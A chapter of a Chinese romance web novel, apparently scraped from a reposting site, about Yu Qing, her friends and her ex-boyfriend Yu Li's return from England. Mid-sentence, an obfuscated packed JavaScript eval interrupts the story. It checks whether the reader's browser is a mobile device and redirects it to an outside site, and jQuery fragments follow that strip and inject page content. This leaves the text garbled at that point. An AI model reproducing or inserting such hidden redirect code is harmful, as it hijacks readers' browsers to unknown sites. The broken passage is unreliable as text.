4. 见过
作品:《于情于理[破镜重圆]》 回到屋里,余晴在沙发上找到了把自己团起来的猫。
“你说狗狗怎么不长肉呢?”余晴把猫挪到自己腿上,仔细端详。
李落坐到她身边,凉凉开口:“你不也是?”
“我不长肉是因为我不爱吃饭。”余晴说,“狗狗吃得不少啊。”
李落冷哼一声,坐在她身边看手机,突然蹦出一条微信。
她没管,等着消息栏自动消失。
消息栏消失的下一秒,微信电话打了过来。
李落手机向来不静音,余晴听到声音,和狗狗同步转头。
“谁的电话啊?”她随口问。
李落把手机界面给她看。
“蓓蓓?”余晴挑眉,“怎么不接?”
“绝对来问你前男友的,赌不赌?”李落看她一眼,接起电话,开了外放。
嗲嗲的女声在那头以高分贝询问:“李落!庾礼回国了你知道吗!”
余晴没忍住笑,被那头耳朵很尖的盛蓓蓓捕捉到,她分贝更高了:“坦坦你也在啊!”
“盛蓓蓓——”李落拉长音警告她,“庾礼回国关你什么事?又关我什么事?你存心来惹我?”
李落讨厌庾礼,从认识庾礼的第一天起就讨厌,谁都知道。
盛蓓蓓关注庾礼,从认识庾礼的第一天起就关注,同样人尽皆知。
这两个人同为余晴最亲近的好友。
“哦。”盛蓓蓓害怕她真的生气,连忙消停下去,“那你把手机给坦坦呗,我和她说。”
李落不耐烦地把手机往她这里举,余晴回应了她:“我知道啊,我今天见到他了,你怎么知道他今天回来的?”
“哦,我看他微博定位变了。”盛蓓蓓丝毫没隐瞒自己在视奸的事实,“你今天见到他啦?他有没有变丑啊?”
余晴忍笑,转头看见李落翻了一个标准的白眼。
“没有,还是很帅。”余晴笑着回答,丝毫没因为讨论的人是前男友而有坏心情。
盛蓓蓓犹豫了一会,问出了她最好奇的问题:“坦坦,你会和他复合吗?”
电话这头和那头都在这一刻静默下去,余晴把对李落说的话又对盛蓓蓓说了一次:“不会。”
盛蓓蓓思考了一会,复又开口:“就算他买下你小说的版权也不会?”
余晴又一次陷入思考,李落和盛蓓蓓同时开口。
“余晴!”
余晴抱紧膝盖上的狗狗,把脸埋了进去。
说不准,这个真的说不准。
-
没出息的余晴一觉睡到大下午,睡醒的时候感觉脑子跟搅拌过的饺子馅一样混乱和黏糊。
昨晚李落挂了盛蓓蓓的电话之后就强迫余晴和她一起看恐怖片。
余晴胆子小,只能戴上耳塞靠在她旁边试图入眠。
闭上眼后她没能睡着,却又陷入回忆。
高三的一模结束后,那天的晚自习拿来放电影。
余晴喜欢看电影,但不喜欢晚上在教室里关着灯看,即便庾礼就坐在她身后。
电影不知道是谁选的,大名鼎鼎的《TheShining》,余晴听过但没看过。
电影刚开始播放,庾礼就在后面碰了碰余晴。
她吓了一跳,缓缓转身,愣愣地眨了眨眼睛。
庾礼很快就察觉到不对劲,伸手在她眼前挥了两下:“余晴?”
余晴的眼神根本找不到落点,凭本能往前凑了点,小声说:“我有夜盲症,看不太清。”
庾礼猜的也是夜盲症,没想到她就这样轻松脱口:“会很不舒服吗?”
“还好。”她笑了,“习惯就好了,你找我干什么呀?”
“你胆子那么小,别看了。”庾礼说。
胆子小归胆子小,余晴总归还是好奇,她丢下一句“没事”又转了回去,和同桌一边吃零食一边看。
没有余晴想象中的吓人,她反而看得还挺津津有味的。
情节的确让她印象深刻,让她在八年后都能再次想起来一些画面。
不过后来呢?看完电影之后呢?
余晴坐在床上,脑袋发懵,连门口站了个人都没发觉。
“醒了?起来吃饭。”李落戴着围裙靠在门框边,“你也真是够能睡的。”
余晴揉着眼睛下床:“我怎么不记得我昨晚什么时候睡着的了?”
李落的视线跟随着她进浴室,脸上露出一言难尽的表情。
昨晚她一直安安静静地坐在沙发上,李落还以为她睡着了,结果她突然冷不丁来了一句:“没事。”
两个字给还在看恐怖片的李落吓得起一身鸡皮疙瘩。什么没事?谁在问她?
李落拍她,她也不说话,感觉的确像是睡着了。
她很瘦,但李落也瘦,抱不动她,只能让她在沙发上睡,给她盖了个毯子。结果早上起来发现她又不知道什么时候自己回了房间。
“昨晚睡得好吗?”她问余晴。
“还行。”余晴一边刷牙一边看她,“你今天没拍摄吗?”
李落是平面模特,收入不太稳定但有活的话也能保证一个月不愁吃穿,不像余晴,纯倒贴在工作。
“明天有。”李落回答,“今天要不要出去玩?”
“不去。”余晴摇头,“我要写小说,没存稿了。”
李落欲言又止,被余晴给瞪了一眼。
“没人看也要写完,起码得保证坑品好不好。”
她抿唇,试图安慰:“其实也是有人看的。”
余晴笑出声,把嘴里泡沫吐掉后说:“也就你和蓓蓓,还有我妈。”
李落从来不看网络小说,下勾勾文学城都是给她面子,点个收藏就不错了。
盛蓓蓓会看,但是她忙得很,余晴的第一本书完结了她还在和余晴聊第三章的事。
她唯一的忠实读者就是沈意琴女士。
提到沈意琴,余晴突然发现自己也有好一阵子没回家了。
她坐到餐桌边,看向李落:“欸,今天要不要跟我一块回沥阳?小说回家也能写。”
沥阳是沥州的下属县,余晴的老家。余永义和沈意琴退休之后都住沥阳的自建房里。
李落和盛蓓蓓堪称是余家二宝三宝,只要她们俩有人愿意去,家里永远有好吃好喝的招待。
“可以啊。”李落笑着说,“我要发朋友圈气死盛蓓蓓。”
余晴吃着三明治,腿在桌底下晃,餍足地笑:“她最近怎么不来沥州了?在忙集团的事?”
“对啊。”李落起身,去收拾包,“晚上过夜吗?我明天下午的拍摄,早上再开车回来也行。”
余晴摸出手机给沈意琴发消息通知余家大宝二宝要回去了,头也没抬:“过夜吧,你陪老太喝点。”
两个人收拾得很快,背上包就往车库走。
车是普通的黑色四轮小轿车,车标四个圈,是半年前她从京州回来,余永义送她的礼物。
从沥州市区开到沥阳差不多一个小时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669900|173105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
余晴稳稳当当地开车,李落坐在副驾驶疯狂切歌。
“蓝牙惹你了?”余晴好笑地看她一眼,“到底要听什么?”
李落也累了,随手放了个playlist,没想到第一首就是两个人都熟悉的歌。
她又想伸手去切,余晴制止了她:“就听这首吧。”
这首歌时长很长,4分56秒,放完的时候余晴手机也正好响起来。
李落把车载蓝牙换成了余晴手机,帮她接了起来。
车内响起任祺的声音:“晴姐,下午好,这两天有空吗要不要出来玩?”
余晴现在才发现今天居然是周六,她有些疑惑:“你的宝贵周末居然有空跟我一起玩?不和纪川序约会了啊?”
李落没憋着,直接笑出声,被那头的任祺听见:“是蓓蓓姐吗?”
李落在车里竖起一个隔空中指。
她还没想好回击的话,又听到那边有一个男声低声说了一句:“蓓蓓姐?盛蓓蓓吗?”
有点耳熟又不太熟,李落以为是任祺的那个同居好友,但转念一想,纪川序应该不认识盛蓓蓓,那么就只有一个人。
“庾礼?”李落冷声,“你回国了?”
余晴目不斜视地认真开车,没在意李落问出的这句废话。
那头的任祺和庾礼却都愣了下,任祺很快反应过来:“落姐,下午好,学长昨天刚回国。”
“哦。”李落冷笑一声,“英国好玩吗?”
“一般。”庾礼回答。
“怎么突然回国了?那里容不下你?你家呢?你爸妈呢?你不回自己家赖在任祺那里干什么?”
李落跟放鞭炮一样噼里啪啦输出,搞得这头和那头都陷入沉默。
她一直都不好惹,庾礼在高中的时候就知道这件事。
这些问题他一个也不想回答,只靠在沙发上看向任祺。
命苦的任祺尴尬打圆场:“落姐,不然你们过来当面问?”
余晴空出右手捏了一下李落搭在腿上的左手,笑着安抚她,接过任祺的话:“这周末没空,我和李落今天回沥阳,明天你落姐有工作。”
李落右手肘靠在窗边撑着自己的头,冷哼一声没再继续说。
“回去陪沈姨吗?替我和沈姨打个招呼!”任祺终于找到挂电话的由头,“晴姐那你们现在是在路上吧,开车小心,我先挂了,拜!”
任祺火速挂了电话,看向单人沙发上的庾礼。
要不是他说他有限量版手办可以送给自己,任祺怎么都不想帮他打这个电话。
纪川序就坐在一旁吃炒面,安静地听完全程,电话挂断了他面也吃完了,擦干净嘴才开口:“所以你这是想和余晴姐复合啊?”
庾礼没回答,转着手机玩,屏幕在他的动作间明明灭灭,任祺眼尖地看到他的屏保是余晴的照片。
十八岁的余晴的照片。
任祺不发言,庾礼第一次听到他的名字就是在余晴嘴里,他的存在就是他的立场。
纪川序作为什么都不知道的中间人,脑子缺的又不止一根筋,想到什么就说什么。
“你们分手这么多年都没再见过吗?”
“为什么分手啊?你提的还是她提的?”
庾礼盯着自己的手机屏保看了一会儿,才选择性地回答了问题。
“见过。”
任祺皱眉:“晴姐没去过英国。”
是的,所以她没有再见过他。
但他见过她,不止一次。